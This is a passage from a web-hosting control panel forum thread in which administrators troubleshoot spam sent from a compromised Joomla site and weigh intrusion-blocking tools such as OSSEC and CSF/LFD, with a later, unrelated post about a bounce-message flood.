Dec 23 02:30:03 sdc postfix/smtpd[15310]: lost connection after AUTH from h1960653.stratoserver.net[85.214.84.44]
Dec 23 02:30:03 sdc postfix/smtpd[15310]: disconnect from h1960653.stratoserver.net[85.214.84.44]
Dec 23 02:30:13 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 23 02:30:13 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 23 02:30:17 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 23 02:30:33 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38
Dec 23 02:30:33 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.39
Dec 23 02:30:37 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.48
Dec 23 02:30:53 sdc dovecot: pop3-login: Disconnected (auth failed, 1 attempts): user=<root>, method=PLAIN, rip=41.79.191.46, lip=38.64.168.38

Thanks for the help so far and Merry Christmas. (I can't believe I am dealing with this garbage now.)

Tue, 12/24/2013 - 20:24
nobodyfamous

Not sure if these will help at all, but it's the graphs from Munin re: postfix.

You can see the backlog starts around 08:00 today.

Wed, 12/25/2013 - 04:33
Locutus

Like TSC said, brute force dictionary attacks are very common. That's what software like OSSEC or LFD are for: Detecting these and (temp/perm) blocking the attacking IP.

These repeating log lines look interesting:

Dec 24 08:27:26 sdc postfix/pickup[10970]: 1F6EB84032: uid=1014 from=<ourshore.ca>
Dec 24 08:27:26 sdc postfix/cleanup[16573]: 1F6EB84032: message-id=<20131224122726.1F6EB84032@sdc.starlingdesign.ca>
Dec 24 08:27:26 sdc postfix/qmgr[1789]: 1F6EB84032: from=<ourshore.ca@sdc.starlingdesign.ca>, size=3463, nrcpt=1 (queue active)

They suggest that the spam is not delivered to your system via SMTP, but probably from a local website. The user ID 1014 is being used to put it in the Postfix queue. You might want to check in /etc/passwd which user that is, and check if their website has been compromised.

Wed, 12/25/2013 - 05:52
nobodyfamous

use 1014 is ourshore.ca - it was created by virtualmin when I created the virtual server ourshore.ca

I changed it's password via usermin, but that didn't stop the mail.

What should I do? Can I just comment out the line in /etc/passwd for now?

I noticed there is also a /etc/passwd file, the difference being it contained the new ossec user. That has me stumped too.

What is my next move?

Wed, 12/25/2013 - 06:53
Locutus

Changing the password for that user won't have an effect if there's malicious code in their website. It's probable that a hacker found a security hole in the web software and installed stuff there. Access to that is independent from the administrative user. You need to disable the virtual server, thus making the web files inaccessible. Also check that user's Apache logfiles for suspicious activity, like downloads or uploads of unknown files. Do the same with ProFTPD logs.

A changed passwd file is normal if a user (here: OSSEC) was added. It's to be expected, since you installed OSSEC.

You might want to run the software "Linux Malware Detect" on the potentially compromised web directory; best is if you run it on the entire /home. Also check out what kind of web software the "ourshore.ca" is using; make sure it's up to date and is not using a version with known security issues.

Wed, 12/25/2013 - 11:25
Locutus

Oh, also check for active processes that are running under the user ID 1014, with ps aux | grep 1014. Maybe they started a process that's sending the mail or is doing other stuff.

Wed, 12/25/2013 - 12:00
nobodyfamous

Thanks again for the help so far. My virtual-server ourshore.ca is disabled and has been scince yesterday. As soon as I noticed the spam I killed Postfix and stopped the actual sending of the spam. That was my #1 goal. Now I am just looking to repair and prevent, like any good internet citizen should ;)

I do not use FTP at all, everything is done over SSH via SFTP etc. ProFTP is not even running, I think. I have unchecked it, and it does not list on the System Information -> status section. What might I do to make sure FTP is in fact off? (command line?)

The more I think about it, it is likely that the website ourshore.ca has some malicious file/thing on it. I just need to find it and remove it. But not today. For now, the Spam is not being sent, nor is it bothering my server. Everything else is running as per normal.

I installed fail2ban, but I don't think it is working right as it only lists a jail for SSH.

I also now have the OSSEC installed and should be running, so thats good to. Should I remove fail2ban?

The server is running Ubuntu 12.04 LTS

ourshore.ca is built on Joomla 2.5 and is up to date, along with any modules/plugins it uses. The hard part is going to be figuring out how something got on there in the first place. I also have current backups, so I think I will take one more, then restore to a previous one, and do some file compare. . . but not till later. I will deal with this some more when I "go back to work"

Thanks again so far and Merry Christmas!

ps aux | grep 1014 output

root     13219  0.0  0.1   9388   936 pts/0    S+   13:29   0:00 grep --color=auto 1014
Wed, 12/25/2013 - 12:09
Locutus

Good, so there are no processes running as ID 1014.

You should remove fail2ban, yes, it'll probably lead to problems if you have multiple software installed that does login failure blocking.

If you have "ourshore.ca" disabled, you should be seeing no more spam mails being added to Postfix.

As I said, you might want to use "Linux Malware Detect" to scan your /home folder.

Thu, 12/26/2013 - 05:41
nobodyfamous

I can't really start from scratch, but if I get nowhere I may just do that.

A question about OSSEC - It seems to be working like it should, but how can I tell what actions it has taken.

This morning I got an email alert about failed SSH login attempts, 2 sets of about 5 each from the same IP. I assume OSSEC blocked the IP, but how do I know? Where will it do this?

I have read through most of OSSEC's website but didn't find anything.

Thu, 12/26/2013 - 06:08
Locutus

If OSSEC operates anything like LFD, it writes a logfile of its own where it records its actions. IP blocks are performed via iptables, and it also has a block management of its own. (Then again, CSF/LFD has a GUI that can be integrated in Webmin, don't know if OSSEC has the same.)

Sat, 12/28/2013 - 09:07 (Reply to #31)
nobodyfamous

I am having a hard time with OSSEC, I'd like to look into CSF/LFD. Can you point me in the right direction as to how to integrate it with Webmin?

Sat, 12/28/2013 - 10:23 (Reply to #32)
Locutus

The CSF archive contains a Webmin module which you can import into Webmin. The Readme file should contain instructions how to do that.

Sat, 12/28/2013 - 13:37 (Reply to #33)
nobodyfamous

found it, thanks. Now I just have to get it all configured. . .

Tue, 01/07/2014 - 06:14
nobodyfamous

I just wanted to update; All is running smoothly now. I swapped OSSEC for CSF/LFD. I think OSSEC was probably working fine, but I couldn't see what it was actively doing, so I didn't trust it. CSF NEEDED a lot of setup before it was useful (as in, not alert me for everything) I almost pulled the plug on it, but am happy with it now, and I can see what it is doing. (by see, I don't mean it has fancy graphs and charts, I mean I can tell what it is doing. A simple text list spit out on the command line is good enough, but I couldn't get OSSEC to do that for me)

I think I also may have found were the malicious file may have got in, through a social login plugin by Login Radius. I have disabled the module and all "suspicious proccess" reports from ourshore.ca have stopped.

Thanks for all your help. . . on to the next thing.

Tue, 01/07/2014 - 08:44
nobodyfamous

ok, second update - I was wrong about where I thought the security hole was.

astecko had it right in his reply above (about 6 down from the top)

Fri, 06/20/2014 - 14:50
EspressoWeb

i turned my emails on my phone tonight and it came through 600 undelivered mail returned,

logged into the virtualmin tonight and its still going (9,500 in under 1 hour) i have tried disabling the server, changing the email password. The account in question is info@espressowebdesign.co.uk

email headers as follows:

Return-Path:<> X-Spam-Checker-Version:SpamAssassin 3.3.1 (2010-03-16) on ewd01.espressowebdesign.net X-Spam-Level:* X-Spam-Status:No, score=1.7 required=5.0 tests=NO_RELAYS,URIBL_BLACK autolearn=no version=3.3.1 X-Original-To:info@espressowebdesign.co.uk Delivered-To:info-espressowebdesign.co.uk@espressowebdesign.net Received:by ewd01.espressowebdesign.net (Postfix) id 46BCACC80A; Fri, 20 Jun 2014 19:28:49 +0100 (BST) Date:Fri, 20 Jun 2014 19:28:49 +0100 (BST) From:MAILER-DAEMON@espressowebdesign.net (Mail Delivery System) Subject:Undelivered Mail Returned to Sender To:info@espressowebdesign.co.uk Auto-Submitted:auto-replied MIME-Version:1.0 Content-Type:multipart/report; report-type=delivery-status; boundary="7B025CC7F5.1403288929/ewd01.espressowebdesign.net" Message-Id:20140620182849.46BCACC80A@ewd01.espressowebdesign.net Message contents

This is the mail system at host ewd01.espressowebdesign.net.

I'm sorry to have to inform you that your message could not be delivered to one or more recipients. It's attached below.

For further assistance, please send mail to postmaster.

If you do so, please include this problem report. You can delete your own text from the attached returned message.

               The mail system

hubert.pattermann@tele2.at: host mailgw.swip.net[212.247.156.1] said: 550 hubert.pattermann@tele2.at unknown user account (in reply to RCPT TO command)

Failed delivery status Final recipienthubert.pattermann@tele2.at Reason for failure550 hubert.pattermann@tele2.at unknown user account Remote mail servermailgw.swip.net Reporting mail serverewd01.espressowebdesign.net

problem is guys the person who controls, runs support and helps me with this is away on holiday, i dont have a clue how this works. can anyone help?

desperate

Fri, 06/20/2014 - 15:25 (Reply to #39)
andreychek

Hi there,

Could you start a new Forum thread for the email issue you're seeing?

That would make it a bit easier to help, since this current thread is a bit on the older side.

Then we'll be able to get a fresh start and figure out what's going on :-)

Thanks!

-Eric

Topic locked